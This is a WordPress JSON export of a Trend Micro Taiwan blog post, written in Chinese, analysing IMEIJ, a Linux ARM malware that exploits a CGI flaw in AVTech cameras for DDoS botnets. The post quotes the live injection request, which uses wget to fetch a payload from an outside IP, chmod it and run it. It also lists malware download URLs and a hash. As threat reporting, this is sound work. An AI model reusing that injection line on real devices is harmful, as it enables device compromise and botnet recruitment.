{"id":48352,"date":"2017-03-16T09:00:18","date_gmt":"2017-03-16T01:00:18","guid":{"rendered":"https:\/\/blog.trendmicro.com.tw\/?p=48352"},"modified":"2017-03-15T15:10:33","modified_gmt":"2017-03-15T07:10:33","slug":"%e6%94%bb%e6%93%8a-cgi-%e6%bc%8f%e6%b4%9e%e7%9a%84%e6%96%b0-linux-%e6%83%a1%e6%84%8f%e7%a8%8b%e5%bc%8f","status":"publish","type":"post","link":"https:\/\/blog.trendmicro.com.tw\/?p=48352","title":{"rendered":"\u653b\u64ca CGI \u6f0f\u6d1e\u7684\u65b0 Linux \u60e1\u610f\u7a0b\u5f0f"},"content":{"rendered":"<h1>\u00a0<img loading=\"lazy\" decoding=\"async\" class=\"size-full alignleft\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2016\/07\/IoT-feature-image-200x200.jpg\" width=\"200\" height=\"200\" \/><\/h1>\n<p>\u9577\u4e45\u4ee5\u4f86\uff0cLinux \u4e00\u76f4\u662f\u4f01\u696d\u5e73\u53f0\u8207<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=8802\">\u7269\u806f\u7db2\uff08IoT ,Internet of Thing\uff09<\/a>\u88dd\u7f6e\u88fd\u9020\u5546\u6240\u504f\u611b\u7684\u4f5c\u696d\u7cfb\u7d71\u3002\u8a31\u591a\u4e0d\u540c\u7522\u696d\u90fd\u7d1b\u7d1b\u63a1\u7528\u4ee5 Linux \u70ba\u57fa\u790e\u7684\u88dd\u7f6e\u4f86\u5efa\u7f6e\u667a\u6167\u578b\u7cfb\u7d71\uff0c\u4e26\u5229\u7528\u7269\u806f\u7db2 (IoT) \u9598\u9053\u4f86\u5efa\u7acb\u5404\u7a2e\u696d\u52d9\u6240\u9700\u7684\u9023\u7db2\u89e3\u6c7a\u65b9\u6848\u53ca\u670d\u52d9\u3002\u7136\u800c\u96a8\u8457\u9019\u985e\u88dd\u7f6e\u4e0d\u65b7\u666e\u53ca\uff0c\u91dd\u5c0d Linux \u7cfb\u7d71\u7684\u8cc7\u5b89\u5a01\u8105\u4e5f\u8ddf\u8457\u589e\u52a0\u3002\u5148\u524d\u5728 2016 \u5e74\u6211\u5011\u5373\u8a0e\u8ad6\u904e<a href=\"https:\/\/www.trendmicro.com\/vinfo\/us\/security\/news\/cybercrime-and-digital-threats\/linux-security-a-closer-look-at-the-latest-linux-threats\">\u4e00\u7cfb\u5217\u7684 Linux \u5a01\u8105<\/a>\uff0c\u5176\u4e2d\u6700\u77e5\u540d\u7684\u83ab\u904e\u65bc <a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/mirai-widens-distribution-new-trojan-scans-ports\/\">Mirai \u60e1\u610f\u7a0b\u5f0f<\/a> (\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba ELF_MIRAI)\u3002<\/p>\n<p>\u6700\u8fd1\u53c8\u51fa\u73fe\u4e86\u4e00\u500b\u65b0\u7684 Linux ARM \u60e1\u610f\u7a0b\u5f0f\u53eb\u505a IMEIJ (\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba ELF_IMEIJ.A)\u3002\u6b64\u5a01\u8105\u5c08\u9580\u653b\u64ca AVTech (\u965e\u6cf0\u79d1\u6280) \u76e3\u8996\u651d\u5f71\u88dd\u7f6e\u7684\u6f0f\u6d1e\u3002\u6b64\u6f0f\u6d1e\u662f\u7531<a href=\"https:\/\/www.search-lab.hu\/advisories\/126-avtech-devices-multiple-vulnerabilities\">\u5308\u7259\u5229\u7684\u8cc7\u5b89\u7814\u7a76\u6a5f\u69cb Search-Lab \u6240\u767c\u73fe<\/a>\uff0c\u4e26\u4e14\u5728 2016 \u5e74 10 \u6708\u516c\u958b\u63ed\u9732\u3002\u4e0d\u904e\u5728\u6b64\u4e4b\u524d\uff0cSearch-Lab \u66fe\u591a\u6b21\u8a66\u5716\u806f\u7d61 AVTech \u537b\u672a\u7372\u56de\u61c9\u3002<\/p>\n<p><em><strong>\u611f\u67d3\u6d41\u7a0b\u53ca\u985e\u4f3c\u60e1\u610f\u7a0b\u5f0f<\/strong><\/em><\/p>\n<p>\u6b64\u60e1\u610f\u7a0b\u5f0f\u662f\u7d93\u7531 CGI \u6307\u4ee4\u611f\u67d3\u3002\u9060\u7aef\u99ed\u5ba2\u6703\u96a8\u6a5f\u6311\u9078\u4e00\u500b IP \u4f4d\u5740\u7136\u5f8c\u5411\u8a72\u4f4d\u5740\u767c\u9001\u4ee5\u4e0b\u7db2\u7ad9\u6307\u4ee4\u4f86\u653b\u64ca\u6b64\u6f0f\u6d1e\uff1a<\/p>\n<p>POST \/cgi-bin\/supervisor\/CloudSetup.cgi?exefile=wget -O \/tmp\/Arm1 https:\/\/192.154.108.2:8080\/Arm1;chmod 0777 \/tmp\/Arm1;\/tmp\/Arm1; HTTP\/1.1<\/p>\n<p>\u66f4\u7cbe\u78ba\u4e00\u9ede\uff0c\u5b83\u662f\u5229\u7528 AVTech \u88dd\u7f6e\u4e0a\u7684 CloudSetup.cgi \u7a0b\u5f0f\u6f0f\u6d1e\u5c07\u60e1\u610f\u7a0b\u5f0f\u4e0b\u8f09\u5230\u88dd\u7f6e\u4e0a\uff0c\u524d\u8ff0\u7db2\u7ad9\u6307\u4ee4\u6703\u8b93\u88dd\u7f6e\u4e0b\u8f09\u60e1\u610f\u6a94\u6848\uff0c\u4e26\u4e14\u5c07\u6a94\u6848\u8a2d\u5b9a\u6210\u53ef\u57f7\u884c\u6a94\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2017\/03\/linux-malware_1.jpg\" width=\"1133\" height=\"451\" \/><\/p>\n<p><em>\u5716 1\uff1aIMEIJ \u7684\u611f\u67d3\u6d41\u7a0b\u3002<\/em><!--more--><\/p>\n<p>AVTech \u6709\u8a31\u591a\u9023\u4e0a\u7db2\u969b\u7db2\u8def\u7684\u88dd\u7f6e\u90fd\u53ef\u80fd\u611f\u67d3\u9019\u500b\u65b0\u7684 Linux \u60e1\u610f\u7a0b\u5f0f\uff0c\u5305\u62ec\uff1aIP \u651d\u5f71\u6a5f\u3001\u76e3\u8996\u9304\u5f71\u8a2d\u5099\uff0c\u4ee5\u53ca\u652f\u63f4 AVTech \u96f2\u7aef\u670d\u52d9\u7684\u7db2\u8def\u9304\u5f71\u6a5f\u3002\u4e00\u65e6\u60e1\u610f\u7a0b\u5f0f\u5b89\u88dd\u5230\u88dd\u7f6e\u4e0a\uff0c\u5b83\u5c31\u80fd\u8490\u96c6\u88dd\u7f6e\u7684\u7cfb\u7d71\u8cc7\u8a0a\u548c\u7db2\u8def\u6d3b\u52d5\u8cc7\u6599\u3002\u6b64\u5916\uff0c\u5b83\u9084\u53ef\u57f7\u884c\u9060\u7aef\u99ed\u5ba2\u6240\u4e0b\u7684\u6307\u4ee4\uff0c\u767c\u52d5<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=16497\">\u5206\u6563\u5f0f\u963b\u65b7\u670d\u52d9\u653b\u64ca (DDoS)<\/a>\u653b\u64ca\uff0c\u7136\u5f8c\u81ea\u884c\u505c\u6b62\u3002\u53d7\u611f\u67d3\u7684\u88dd\u7f6e\u9084\u53ef\u80fd\u8b93\u540c\u4e00\u7db2\u8def\u4e0a\u7684\u5176\u4ed6\u88dd\u7f6e\u9677\u5165\u5371\u96aa\u3002<\/p>\n<p>IMEIJ \u6709\u4e09\u500b\u4e0b\u8f09\u7db2\u5740\uff0c\u5206\u5225\u4f4d\u65bc\u5169\u5bb6\u4e0d\u540c\u7684 ISP\uff1a<\/p>\n<ul>\n<li>hxxp:\/\/172.247.116.3:8080\/Arm1<\/li>\n<li>hxxp:\/\/172.247.116.21:85\/Arm1<\/li>\n<li>hxxp:\/\/192.154.108.2:8080\/Arm1<\/li>\n<\/ul>\n<p>\u4ee5\u4e0a IP \u90fd\u662f\u5c6c\u65bc\u5357\u97d3\u7684 ISP \u6240\u6709\u3002<\/p>\n<p>\u6839\u64da <a href=\"https:\/\/www.search-lab.hu\/advisories\/126-avtech-devices-multiple-vulnerabilities\">Search-Lab \u6307\u51fa<\/a>\uff0c\u76ee\u524d\u7db2\u969b\u7db2\u8def\u4e0a\u53ef\u641c\u5c0b\u5230\u7684 AVTech \u88dd\u7f6e\u6578\u91cf\u8d85\u904e 13 \u842c\u53f0\uff0c\u9019\u4e9b\u88dd\u7f6e\u90fd\u6709\u53ef\u80fd\u6210\u70ba\u9019\u9805\u653b\u64ca\u7684\u76ee\u6a19\u3002\u6b64\u5916\uff0c\u9019\u4e9b\u88dd\u7f6e\u9084\u53ef\u80fd\u8b8a\u6210\u6bad\u5c4d\u96fb\u8166\uff0c\u8b93\u99ed\u5ba2\u767c\u52d5\u5927\u898f\u6a21 DDoS \u653b\u64ca\u3002\u5982\u540c\u5927\u591a\u6578\u9023\u7db2\u88dd\u7f6e\u4e00\u6a23\uff0c\u9019\u4e9b\u53d7\u5bb3\u88dd\u7f6e\u51fa\u5ee0\u6642\u5c31\u7f3a\u4e4f\u8db3\u5920\u7684\u5b89\u5168\u6027\uff0c\u800c\u4e14\u7121\u6cd5\u76f4\u63a5\u76e3\u63a7\u3002<\/p>\n<p>IMEIJ \u7684 DDoS \u653b\u64ca\u80fd\u529b\u6216\u8a31\u6703\u8b93\u4eba\u806f\u60f3\u5230 Mirai\uff0c\u4f46\u5169\u8005\u4e4b\u9593\u6709\u4e9b\u5dee\u5225\uff1a<\/p>\n<table  class=\" table table-hover\" >\n<tbody>\n<tr>\n<td width=\"97\"><\/td>\n<td width=\"192\"><strong>MIRAI<\/strong><\/td>\n<td width=\"194\"><strong>IMEIJ<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"97\"><strong>\u53d7\u5bb3\u88dd\u7f6e <\/strong><\/td>\n<td width=\"192\">\u00a0\u591a\u6a23<\/td>\n<td width=\"194\">AVTech<\/td>\n<\/tr>\n<tr>\n<td width=\"97\"><strong>\u4f7f\u7528\u7684\u9023\u63a5\u57e0<\/strong><\/td>\n<td width=\"192\">7547<br \/>\n5555<br \/>\n48101<\/td>\n<td width=\"194\">39999<\/td>\n<\/tr>\n<tr>\n<td width=\"97\"><strong>\u653b\u64ca\u65b9\u5f0f<\/strong><\/td>\n<td width=\"192\">\u7d93\u7531\u731c\u6e2c\u5bc6\u78bc\u7684\u65b9\u5f0f\u767b\u5165\u4f7f\u7528 BusyBox \u8edf\u9ad4\u7684\u88dd\u7f6e<\/td>\n<td width=\"194\">\u99ed\u5ba2\u5229\u7528\u4e0d\u5b89\u5168\u7684 CGI \u7a0b\u5f0f\u4f86\u5b89\u88dd IMEIJ \u60e1\u610f\u7a0b\u5f0f<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>IMEIJ \u662f\u6700\u8fd1\u767c\u73fe\u7684\u591a\u500b ARM \u5e73\u53f0 Linux \u60e1\u610f\u7a0b\u5f0f\u4e4b\u4e00\u3002ARM \u662f\u7269\u806f\u7db2\u548c\u884c\u52d5\u88dd\u7f6e\u5ee3\u6cdb\u63a1\u7528\u7684\u5e73\u53f0\uff0c\u4e5f\u662f\u99ed\u5ba2\u653b\u64ca\u9019\u985e\u88dd\u7f6e\u5fc5\u5099\u7684\u6280\u80fd\u4e4b\u4e00\u3002\u8fd1\u671f\u767c\u73fe\u7684 Linux \u60e1\u610f\u7a0b\u5f0f\u9664\u4e86 IMEIJ \u4e4b\u5916\u9084\u6709 <a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems\/\">Umbreon Rootkit<\/a> (\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba ELF_UMBREON) \u4ee5\u53ca <a href=\"https:\/\/www.trendmicro.com\/vinfo\/us\/security\/news\/cybercrime-and-digital-threats\/linux-security-a-closer-look-at-the-latest-linux-threats\">LuaBot<\/a> (\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba ELF_LUABOT)\u3002<\/p>\n<p><a href=\"https:\/\/t.rend.tw\/?i=MzY1Mg\">\u8da8\u52e2\u79d1\u6280PC-cillin\u96f2\u7aef\u7248<\/a>\u80fd\u6709\u6548\u9632\u7bc4\u9019\u9805\u5a01\u8105\uff0c\u5728\u7aef\u9ede\u88dd\u7f6e\u4e0a\u5075\u6e2c\u60e1\u610f\u7a0b\u5f0f\u3002\u82e5\u8981\u4fdd\u8b77\u9023\u7db2\u7684\u88dd\u7f6e\uff0c\u53ef\u63a1\u7528\u8da8\u52e2\u79d1\u6280 Home Network Security \u4f86\u6aa2\u67e5\u8def\u7531\u5668\u548c\u9023\u7dda\u88dd\u7f6e\u4e4b\u9593\u7684\u7db2\u8def\u6d41\u91cf\u3002\u4f01\u696d\u6a5f\u69cb\u5247\u53ef\u63a1\u7528<a href=\"https:\/\/www.trendmicro.tw\/tw\/enterprise\/security-risk-management\/deep-discovery\/\">\u8da8\u52e2\u79d1\u6280\u7684Deep Discovery Inspector<\/a>\u7db2\u8def\u88dd\u7f6e\u4f86\u76e3\u63a7\u6240\u6709\u9023\u63a5\u57e0\u53ca 105 \u7a2e\u4ee5\u4e0a\u7684\u7db2\u8def\u901a\u8a0a\u5354\u5b9a\u4ee5\u5075\u6e2c\u9032\u968e\u5a01\u8105\u548c\u91dd\u5c0d\u6027\u653b\u64ca\u3002<\/p>\n<p><strong>IMEIJ \u7684 SHA256 \u96dc\u6e4a\u78bc\u5982\u4e0b\uff1a<\/strong><\/p>\n<p>8040422762138d28aa411d8bb2307a93432416f72b292bf884fb7c7efde9f3f5<\/p>\n<p>\u539f\u6587\u51fa\u8655\uff1a<a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/new-linux-malware-exploits-cgi-vulnerability\/\">New Linux Malware Exploits CGI Vulnerability<\/a> <strong><em>\u4f5c\u8005<\/em><\/strong><strong><em>\uff1aJeanne Jocson \u548c<\/em><\/strong><strong><em> Jennifer Gumban<\/em><\/strong><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u9577\u4e45\u4ee5\u4f86\uff0cLinux \u4e00\u76f4\u662f\u4f01\u696d\u5e73\u53f0\u8207\u7269\u806f\u7db2\uff08IoT ,Internet of Thing\uff09\u88dd\u7f6e\u88fd\u9020\u5546\u6240\u504f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_wpscppro_dont_share_socialmedia":false,"_wpscppro_custom_social_share_image":0,"_facebook_share_type":"","_twitter_share_type":"","_linkedin_share_type":"","_pinterest_share_type":"","_linkedin_share_type_page":"","_instagram_share_type":"","_medium_share_type":"","_threads_share_type":"","_google_business_share_type":"","_selected_social_profile":[],"_wpsp_enable_custom_social_template":false,"_wpsp_social_scheduling":{"enabled":false,"datetime":null,"platforms":[],"status":"template_only","dateOption":"today","timeOption":"now","customDays":"","customHours":"","customDate":"","customTime":"","schedulingType":"absolute"},"_wpsp_active_default_template":true},"categories":[1335,156],"tags":[3114,1759,3088,2292],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/48352"}],"collection":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=48352"}],"version-history":[{"count":0,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/48352\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=48352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=48352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=48352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}